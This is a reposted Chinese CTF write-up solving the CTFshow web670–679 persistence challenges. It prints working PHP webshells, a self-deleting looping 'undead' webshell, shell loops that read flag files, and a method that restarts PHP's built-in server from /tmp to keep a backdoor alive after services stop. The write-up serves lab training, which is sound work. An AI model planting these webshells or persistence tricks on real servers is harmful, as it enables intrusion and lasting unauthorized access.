Ctfshow web入门 权限维持篇 web670-web679 详细题解 全

CTFshow 权限维持 web670

补充一下PHP中单双引号的区别:

单引号和双引号之间最显着的区别在于我们插入字符串和变量时。单引号不插入字符串和变量。单引号内的内容会按原样打印出来。在大多数情况下,单引号内没有任何变量或转义序列的编译。

但是,在双引号的情况下,写在引号内的变量将被插入字符串。这意味着将评估字符串中的变量。因此,在插入字符串和变量时很容易使用双引号。双引号优于单引号的优点是我们不需要使用.运算符连接字符串和变量。但是,由于需要在字符串中计算变量,因此使用双引号会比使用单引号稍微慢一些。

通俗一点说,双引号内的内容更加“智能”一点,如转义符$_POST[1]只有在双引号内才会被解析


题目说明:想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在。

image-20230816234814654

首先执行ls等命令查看目录

GET:?action=cmd
POST:cmd=system('ls /');

当前目录下只有一个index.php文件,根目录下确实没有flag。

image-20230817150326569

然后phpinfo简单看看PHP配置。无禁用函数。

image-20230817153054283

尝试写一个一句话马到当前目录(就是web目录)下的7.php文件中。

GET:?action=cmd

POST:cmd=file_put_contents('7.php', '<?php @eval($_POST[1]);?>');

发现这里PHP是有文件写入权限的。(写马不要用双引号,一开始踩坑了,单引号原样输出到木马文件中)

image-20230817155201448

补充一个踩坑时候找到的知识点:short_open_tag=Off不允许使用代码开始标志的缩写形式(<? ?> )。

此外,执行check之后,会发现当前目录下所有文件都被删了。。。所以题目归为权限维持。

GET:?action=check

image-20230817155428863

羽师傅猜测check后执行:

echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *

(重开环境)以此猜测为基础,维持权限的方法有三。

方法一:

利用rm -rf *的小缺陷,它无法删除点号开头的文件,所以可以写木马到.7.php文件,check后不会被删除。

GET:?action=cmd

POST:cmd=file_put_contents('.shell.php', '<?php @eval($_POST[1]);?>');

emmm,但是貌似写不进去。

image-20230817160937310


方法二:

可以使用不死马将木马写入内存。

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = 'shell.php';
    $code = '<?php @eval($_POST[1]);?>';
    while (1) {
    
    
        file_put_contents($file, $code);
        usleep(5000);
    }
?>

解释一下不死马(内存马):

set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)

ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True或者1,则忽略与用户的断开)

unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)

file_put_contents函数:将一个字符串写入该文件中

usleep函数:延迟执行当前脚本数微秒,即条件竞争

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

image-20230817161537007


方法三:

如果题目出网的话可以使用反弹shell。
不过题目是不出网的,所以这种方法无法使用。

CTFshow 权限维持 web671

看起来和web670没什么区别。

image-20230817161624813

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

唯一的区别就是,flag文件在根目录。

image-20230817162000888

CTFshow 权限维持 web672

看起来还是和web670没什么区别。

image-20230817162047836

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817162246469

CTFshow 权限维持 web673

看起来还是和web670没什么区别。

image-20230817163159398

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817163349039

CTFshow 权限维持 web674

看起来还是和web670没什么区别。

image-20230817163443528

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817164009659

CTFshow 权限维持 web675

看起来还是和web670没什么区别。

image-20230817164050875

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817173416029

CTFshow 权限维持 web676

看起来还是和web670没什么区别。

image-20230817174037995

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

image-20230817184524309

CTFshow 权限维持 web677【】

看起来还是和web670没什么区别。(只是看起来,这次是真有区别了)

image-20230817185303987

用以前的payload试试:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

查看一下当前目录,发现并没有成功写入文件。这题应该是没有了写入文件权限(PHP存放临时文件的临时目录/tmp除外)

image-20230817185421674

写不了文件就得换一种方法了。羽师傅的payload:

GET:?action=cmd

POST:cmd=system('while true;do cat /f*;done');

while true;do cat /tmp/f*;done是shell脚本的语法,满足条件(true)时,执行cat /f*命令。

shell脚本之十:while循环及应用实践 - cuiyongchao007 - 博客园 (cnblogs.com)

执行后,然后直接check。

可能需要等一会才能出flag,要耐心哦~(要不然就会像我一样卡了两天…)

image-20230820000343920

同一原理,check会删掉所有文件但是不会杀掉进程,那就我们可以使用延时的方法读取/flag文件。

GET:?action=cmd

POST:cmd=system('sleep 10;cat /f*');

check后等一会flag就出来了。

image-20230820001123033

CTFshow 权限维持 web678

同web677。

CTFshow 权限维持 web679【】

题目描述:check后,会停止一切web服务,包括nginx php-fpm,天地同寿的打法,你能应付吗

源码还是一样。

image-20230818010549799

如果check之后会关了web服务的话,无论是写了文件还是一直在执行cat /f*命令都会失效,因为都没web服务了,客户端根本连接不到服务端,无法进行操作。

大佬们的思路是启动php内置服务器,类似于python能开启http服务一样。

由于是www-data权限,⽆法直接启动nginx和php-fpm,但是可以启动php内置服务器php -S 0.0.0.0:80,运行命令的根目录就被当成web服务根目录。

payload:

GET:?action=cmd

POST:
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
//这里要用双引号,$_POST[1]由于$被转义了,所以原样输出
或者
cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php;sleep 10;php -S 0.0.0.0:80');

把木马写入可写目录/tmp下的index.php(默认的索引文件,访问时无需像访问同目录下1.php一样加上文件名,访问index.php是直接url/,访问1.php是访问url/1.php中,然后睡十秒,在/tmp目录下开启php内置服务器。

十秒是给我们的反应时间(点check时间)。流程是执行命令后,木马已经写入。然后睡十秒,期间我们check生成,期间命令仍然执行尽管已经关了web服务(因为只是web服务关了,外界访问不到,但是服务器内部php语言环境还在)。十秒结束后php内置服务开启,我们就可以使用木马执行命令。

image-20230818015456642

image-20230818015436893


权限维持结束收工!

参考文章如下:

CTFSHOW权限维持篇_yu22x的博客-CSDN博客

【ctfshow】web入门-权限维持 - lewiserii’s blog

内网渗透之权限维持 - anoldcat - 博客园 (cnblogs.com)

权限维持及后门持久化技巧总结 - FreeBuf网络安全行业门户

image-20230820001301875

猜你喜欢

转载自blog.csdn.net/Jayjay___/article/details/132387118